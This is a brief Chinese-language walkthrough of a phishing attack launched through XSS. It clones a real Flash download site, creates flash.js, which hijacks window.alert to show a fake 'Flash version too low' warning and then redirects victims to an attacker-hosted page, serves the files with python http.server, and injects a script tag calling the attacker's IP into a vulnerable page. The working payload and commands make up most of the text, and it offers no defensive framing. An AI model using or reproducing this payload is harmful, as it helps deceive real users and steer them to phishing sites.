- 访问真实的flash 网站页面,点击查看网页源代码并将所有代码复制下来保存到index.html
2.检查并修改源代码链接。搜索href和src,将链接修改为可以访问的形式
..新建 flash.js 文件,内容为(其中的 window.location.href 的值修改为 index.html的url地址):
window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display = "none";iframe.setAttribute("src",'data:text/plain');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低,尝试升级后访问该页面!");
window.location.href="http://192.168.1.105:1234/index.html";
3.启动 http 服务以供受害者能访问到 index.html 和 flash.js。
4.启动 http 服务以供受害者能访问到 index.html 和 flash.js。
python3 -m http.server --bind 0.0.0.0 1234
5.攻击者将<script src="http://192.168.1.105:1234/flash.js"></script>
插入到存在xss漏洞的地方
6.受害者浏览页面,浏览器就会弹出FLASH版本过低的的提示。
7.点击确定,重定向到钓鱼网站